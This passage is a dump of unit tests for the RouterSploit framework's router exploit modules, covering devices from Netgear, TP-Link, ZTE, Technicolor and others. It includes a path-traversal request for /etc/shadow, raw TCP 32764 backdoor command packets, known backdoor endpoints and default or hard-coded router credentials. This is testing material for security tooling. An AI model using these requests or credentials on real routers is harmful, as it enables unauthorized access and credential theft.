NwIGNvbXByZXNzIG9mZgpzeXMgd2RvZyBzdyBvbgpzeXMgcXVpY2sgZW5hYmxlCndhbiBhZHNsIHJhdGUgb2ZmCmYKZQp3YW4gYWRzbCByYXRlIG9mZgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w==\")\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/rom-0\", methods=[\"GET\"])\n    route_mock.return_value = response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/multi/test_tcp_32764_info_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.multi.tcp_32764_info_disclosure import Exploit\n\n\ndef test_check_success1(tcp_target):\n    \"\"\" Test scenario - successful check Big Endian\"\"\"\n\n    command_mock = tcp_target.get_command_mock(b\"ABCDE\")\n    command_mock.return_value = b\"MMcS\"\n\n    exploit = Exploit()\n\n    assert exploit.target in [\"\", \"127.0.0.1\"]\n    assert exploit.port == 32764\n\n    exploit.target = tcp_target.host\n    exploit.port = tcp_target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n\n\ndef test_check_success2(tcp_target):\n    \"\"\" Test scenario - successful check - Little Endian\"\"\"\n\n    command_mock = tcp_target.get_command_mock(b\"ABCDE\")\n    command_mock.return_value = b\"ScMM\"\n\n    exploit = Exploit()\n\n    exploit.target = tcp_target.host\n    exploit.port = tcp_target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/multi/test_tcp_32764_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.multi.tcp_32764_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.multi.tcp_32764_rce.shell\")\ndef test_check_success1(mocked_shell, tcp_target):\n    \"\"\" Test scenario - successful check Big Endian\"\"\"\n\n    command_mock1 = tcp_target.get_command_mock(b\"ABCDE\")\n    command_mock1.return_value = b\"MMcS\"\n\n    command_mock2 = tcp_target.get_command_mock(b\"ScMM\\x00\\x00\\x00\\x07\\x00\\x00\\x00.echo e6055cd8c31bf64cfbed8e3247bd11d5c1277c13\\x00\")\n    command_mock2.return_value = b\"\\x41\\x41\\x41\\x41\" + b\"\\x29\\x00\\x00\\x00\" + b\"\\x42\\x42\\x42\\x42\" + b\"e6055cd8c31bf64cfbed8e3247bd11d5c1277c13\\x00\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 32764\n\n    exploit.target = tcp_target.host\n    exploit.port = tcp_target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n    assert exploit.execute(\"echo e6055cd8c31bf64cfbed8e3247bd11d5c1277c13\") == \"e6055cd8c31bf64cfbed8e3247bd11d5c1277c13\\x00\"\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.multi.tcp_32764_rce.shell\")\ndef test_check_success2(mocked_shell, tcp_target):\n    \"\"\" Test scenario - successful check - Little Endian\"\"\"\n\n    command_mock = tcp_target.get_command_mock(b\"ABCDE\")\n    command_mock.return_value = b\"ScMM\"\n\n    command_mock2 = tcp_target.get_command_mock(b\"MMcS\\x07\\x00\\x00\\x00.\\x00\\x00\\x00echo e6055cd8c31bf64cfbed8e3247bd11d5c1277c13\\x00\")\n    command_mock2.return_value = b\"\\x41\\x41\\x41\\x41\" + b\"\\x00\\x00\\x00\\x29\" + b\"\\x42\\x42\\x42\\x42\" + b\"e6055cd8c31bf64cfbed8e3247bd11d5c1277c13\\x00\"\n\n    exploit = Exploit()\n\n    exploit.target = tcp_target.host\n    exploit.port = tcp_target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n    assert exploit.execute(\"echo e6055cd8c31bf64cfbed8e3247bd11d5c1277c13\") == \"e6055cd8c31bf64cfbed8e3247bd11d5c1277c13\\x00\"\n"
  },
  {
    "path": "tests/exploits/routers/netcore/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/netcore/test_udp_53413_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.netcore.udp_53413_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netcore.udp_53413_rce.shell\")\ndef test_check_success1(mocked_shell, udp_target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    command_mock = udp_target.get_command_mock(b\"\\x00\" * 8)\n    command_mock.return_value = b\"\\xD0\\xA5Login:\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 53413\n\n    exploit.target = udp_target.host\n    exploit.port = udp_target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netcore.udp_53413_rce.shell\")\ndef test_check_success2(mocked_shell, udp_target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    command_mock = udp_target.get_command_mock(b\"\\x00\" * 8)\n    command_mock.return_value = b\"\\x00\\x00\\x00\\x05\\x00\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x00\"\n\n    exploit = Exploit()\n\n    exploit.target = udp_target.host\n    exploit.port = udp_target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/netgear/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/netgear/test_dgn2200_ping_cgi_rce.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.netgear.dgn2200_ping_cgi_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    res = request.form['ping_IPAddr']\n    data = \"<textarea>\\nTEST\\n\" + res + \"\\n\\nTEST\\n</textarea>\"\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netgear.dgn2200_ping_cgi_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/ping.cgi\", methods=[\"POST\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.username == \"admin\"\n    assert exploit.password == \"password\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/netgear/test_jnr1010_path_traversal.py",
    "content": "from routersploit.modules.exploits.routers.netgear.jnr1010_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/webproc\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::\"\n        \"root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::\"\n        \"#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.username == \"admin\"\n    assert exploit.password == \"password\"\n    assert exploit.filename == \"/etc/shadow\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/netgear/test_n300_auth_bypass.py",
    "content": "from flask import Response\nfrom routersploit.modules.exploits.routers.netgear.n300_auth_bypass import Exploit\n\n\nhit = False\n\n\ndef apply_response1(*args, **kwargs):\n    global hit\n    if hit is False:\n        resp = Response(\"TEST\", status=401)\n        return resp\n    else:\n        resp = Response(\"TEST\", status=200)\n        return resp\n\n\ndef apply_response2(*args, **kwargs):\n    global hit\n    hit = True\n    return \"TEST\", 200\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock1 = target.get_route_mock(\"/\", methods=[\"GET\"])\n    route_mock1.side_effect = apply_response1\n\n    route_mock2 = target.get_route_mock(\"/BRS_netgear_success.html\", methods=[\"GET\"])\n    route_mock2.side_effect = apply_response2\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/netgear/test_netgear_multi_rce.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.netgear.multi_rce import Exploit\n\n\ndef apply_response_v1(*args, **kwargs):\n    res = request.args['macAddress']\n    data = \"Update Success! TEST\" + res + \"TEST\"\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netgear.multi_rce.shell\")\ndef test_exploit_v1_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation via method 1 \"\"\"\n\n    route_mock = target.get_route_mock(\"/boardData102.php\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response_v1\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n\n\ndef apply_response_v2(*args, **kwargs):\n    res = request.args['macAddress']\n    data = \"Update Success! TEST\" + res + \"TEST\"\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netgear.multi_rce.shell\")\ndef test_exploit_v2_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation via method 2 \"\"\"\n\n    route_mock = target.get_route_mock(\"/boardDataNA.php\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response_v2\n\n    exploit = Exploit()\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n\n\ndef apply_response_v3(*args, **kwargs):\n    res = request.args['macAddress']\n    data = \"Update Success! TEST\" + res + \"TEST\"\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netgear.multi_rce.shell\")\ndef test_exploit_v3_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation via method 3 \"\"\"\n\n    route_mock = target.get_route_mock(\"/boardDataWW.php\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response_v3\n\n    exploit = Exploit()\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n\n\ndef apply_response_v4(*args, **kwargs):\n    res = request.args['macAddress']\n    data = \"Update Success! TEST\" + res + \"TEST\"\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netgear.multi_rce.shell\")\ndef test_exploit_v4_success(mocked_shell, target):\n    \"\"\"\" Test scenario - successful exploitation via method 4 \"\"\"\n\n    route_mock = target.get_route_mock(\"/boardDataJP.php\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response_v4\n\n    exploit = Exploit()\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n\n\ndef apply_response_v5(*args, **kwargs):\n    res = request.args['macAddress']\n    data = \"Update Success! TEST\" + res + \"TEST\"\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netgear.multi_rce.shell\")\ndef test_exploit_v5_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation via method 5 \"\"\"\n\n    route_mock = target.get_route_mock(\"/boardDataJP.php\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response_v5\n\n    exploit = Exploit()\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/netgear/test_prosafe_rce.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.netgear.prosafe_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    res = request.form[\"reqMethod\"]\n    data = \"TEST\" + res + \"TEST\"\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netgear.prosafe_rce.shell\")\ndef test_exploit_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/login_handler.php\", methods=[\"POST\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/netgear/test_r7000_r6400_rce.py",
    "content": "from unittest import mock\nfrom flask import Response\nfrom routersploit.modules.exploits.routers.netgear.r7000_r6400_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    resp = Response(\"TEST\", status=401)\n    resp.headers[\"WWW-Authenticate\"] = \"NETGEAR R7000\"\n    return resp\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netgear.r7000_r6400_rce.shell\")\ndef test_exploit_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/\", methods=[\"HEAD\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/netgear/test_wnr500_612v3_jnr1010_2010_path_traversal.py",
    "content": "from routersploit.modules.exploits.routers.netgear.wnr500_612v3_jnr1010_2010_path_traversal import Exploit\n\n\ndef test_exploit_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/webproc\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::\"\n        \"root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::\"\n        \"#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.username == \"admin\"\n    assert exploit.password == \"password\"\n    assert exploit.filename == \"/etc/shadow\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/netsys/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/netsys/test_multi_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.netsys.multi_rce import Exploit\n\n\netc_passwd = (\n    \"#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::\"\n    \"root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::\"\n    \"#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::\"\n)\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netsys.multi_rce.shell\")\ndef test_check_v1_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check via method 1 \"\"\"\n\n    route_mock = target.get_route_mock(\"/view/IPV6/ipv6networktool/traceroute/ping.php\", methods=[\"GET\"])\n    route_mock.return_value = etc_passwd\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 9090\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netsys.multi_rce.shell\")\ndef test_check_v2_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check via method 2 \"\"\"\n\n    route_mock = target.get_route_mock(\"/view/systemConfig/systemTool/ping/ping.php\", methods=[\"GET\"])\n    route_mock.return_value = etc_passwd\n\n    exploit = Exploit()\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.netsys.multi_rce.shell\")\ndef test_check_v3_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check via method 3 \"\"\"\n\n    route_mock = target.get_route_mock(\"/view/systemConfig/systemTool/traceRoute/traceroute.php\", methods=[\"GET\"])\n    route_mock.return_value = etc_passwd\n\n    exploit = Exploit()\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/shuttle/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/shuttle/test_915wm_dns_change.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.exploits.routers.shuttle.915wm_dns_change\")\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/dnscfg.cgi\", methods=[\"POST\"])\n    route_mock.retur_value = (\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.dns1 == \"8.8.8.8\"\n    assert exploit.dns2 == \"8.8.4.4\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/technicolor/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/technicolor/test_dwg855_authbypass.py",
    "content": "from routersploit.modules.exploits.routers.technicolor.dwg855_authbypass import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/logo.jpg\", methods=[\"GET\"])\n    route_mock.return_value = (\n        b\"\\x11\\x44\\x75\\x63\\x6b\\x79\\x00\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.nuser == \"ruser\"\n    assert exploit.npass == \"rpass\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/technicolor/test_tc7200_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.technicolor.tc7200_password_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/goform/system/GatewaySettings.bin\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"0MLog\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/technicolor/test_tc7200_password_disclosure_v2.py",
    "content": "import binascii\nfrom routersploit.modules.exploits.routers.technicolor.tc7200_password_disclosure_v2 import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    encrypted_mock = binascii.unhexlify(\n        \"F29000B62A499FD0A9F39A6ADD2E7780\"  # encrypted zero block + data from https://www.exploit-db.com/exploits/31894/\n        \"c07fdfca294e1a4e4b74dbb2ffb7d2a73a90f00111134dc8d9810a90f2a9bf5862a179a20a9418a486bd4c8170730c8f\"\n    )\n\n    route_mock = target.get_route_mock(\"/goform/system/GatewaySettings.bin\", methods=[\"GET\"])\n    route_mock.return_value = (\n        encrypted_mock\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/technicolor/test_tg784_authbypass.py",
    "content": "from routersploit.modules.exploits.routers.technicolor.tg784_authbypass import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.username == \"upgrade\"\n    assert exploit.password == \"Th0ms0n!\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/thomson/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/thomson/test_twg850_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.thomson.twg850_password_disclosure import Exploit\n\n\ndef test_exploit_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/GatewaySettings.bin\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"0MLog\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/tplink/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/tplink/test_archer_c2_c20i_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.tplink.archer_c2_c20i_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.tplink.archer_c2_c20i_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi\", methods=[\"POST\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"[error]0\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/tplink/test_wdr740nd_wdr740n_backdoor.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.tplink.wdr740nd_wdr740n_backdoor import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    cmd = request.args[\"cmd\"]\n    data = 'TEST; var cmdResult = new Array(\\n\"' + cmd + '\",\\n0,0 ); TEST'\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.tplink.wdr740nd_wdr740n_backdoor.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/userRpm/DebugResultRpm.htm\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.username == \"admin\"\n    assert exploit.password == \"admin\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/tplink/test_wdr740nd_wdr740n_path_traversal.py",
    "content": "from routersploit.modules.exploits.routers.tplink.wdr740nd_wdr740n_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/help/../../../../../../../../../../../../../../../../etc/shadow\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::\"\n        \"root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::\"\n        \"Admin:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::\"\n        \"#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.filename == \"/etc/shadow\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/tplink/test_wdr842nd_wdr842n_configure_disclosure.py",
    "content": "from flask import Response\nfrom routersploit.modules.exploits.routers.tplink.wdr842nd_wdr842n_configure_disclosure import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    resp = Response(\"TEST\", status=200)\n    resp.headers['Content-Type'] = 'x-bin/octet-stream'\n    return resp\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/config.bin\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/zte/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/zte/test_f460_f660_backdoor.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.zte.f460_f660_backdoor import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    cmd = request.form['Cmd']\n    res = '<textarea cols=\"\" rows=\"\" id=\"Frm_CmdAck\" class=\"textarea_1\">' + cmd + '</textarea>'\n    return res, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.zte.f460_f660_backdoor.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/web_shell_cmd.gch\", methods=[\"POST\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/zte/test_zxhn_h108n_wifi_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.zte.zxhn_h108n_wifi_password_disclosure import Exploit\n\n\ndef test_check_succecc(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/wizard_wlan_t.gch\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"(..)\"\n        \"<script language=javascript>Transfer_meaning('PreSharedKey','');</script>\"\n        \"<INPUT type='hidden' name=KeyPassphrase   ID=KeyPassphrase value=''>\"\n        \"<script language=javascript>Transfer_meaning('KeyPassphrase','');</script>\"\n        \"<INPUT type='hidden' name=AssociatedDeviceMACAddress   ID=AssociatedDeviceMACAddress value=''>\"\n        \"<script language=javascript>Transfer_meaning('AssociatedDeviceMACAddress','');</script>\"\n        \"<script language=javascript>Transfer_meaning('IF_ERRORSTR','SUCC');</script>\"\n        \"<script language=javascript>Transfer_meaning('IF_ERRORPARAM','SUCC');</script>\"\n        \"<script language=javascript>Transfer_meaning('IF_ERRORTYPE','\\x2d1');</script>\"\n        \"<script language=javascript>Transfer_meaning('PreSharedKey','');</script>\"\n        \"<script language=javascript>Transfer_meaning('KeyPassphrase','Password');</script>\"\n        \"<script language=javascript>Transfer_meaning('AssociatedDeviceMACAddress','00\\x3a00\\x3a00\\x3a00\\x3a00\\x3a00');</script>\"\n        \"<script language=javascript>Transfer_meaning('IF_ERRORSTR','SUCC');</script>\"\n        \"<script language=javascript>Transfer_meaning('IF_ERRORPARAM','SUCC');</script>\"\n        \"(..)\"\n        \"<script language=javascript>Transfer_meaning('CardIsIn','1');</script>\"\n        \"<script language=javascript>Transfer_meaning('MaxInterface','4');</script>\"\n        \"<script language=javascript>Transfer_meaning('DeviceMode','InfrastructureAccessPoint');</script>\"\n        \"<script language=javascript>Transfer_meaning('CardMode','b\\x2cg\\x2cn\\x2cbg\\x2cgn\\x2cbgn');</script>\"\n        \"<script language=javascript>Transfer_meaning('CardRev','0');</script>\"\n        \"<script language=javascript>Transfer_meaning('Class','255');</script>\"\n        \"<script language=javascript>Transfer_meaning('PID','33169');</script>\"\n        \"<script language=javascript>Transfer_meaning('VID','4332');</script>\"\n        \"<script language=javascript>Transfer_meaning('ValidIf','1');</script>\"\n        \"<script language=javascript>Transfer_meaning('Enable','1');</script>\"\n        \"<script language=javascript>Transfer_meaning('RadioStatus','1');</script>\"\n        \"<script 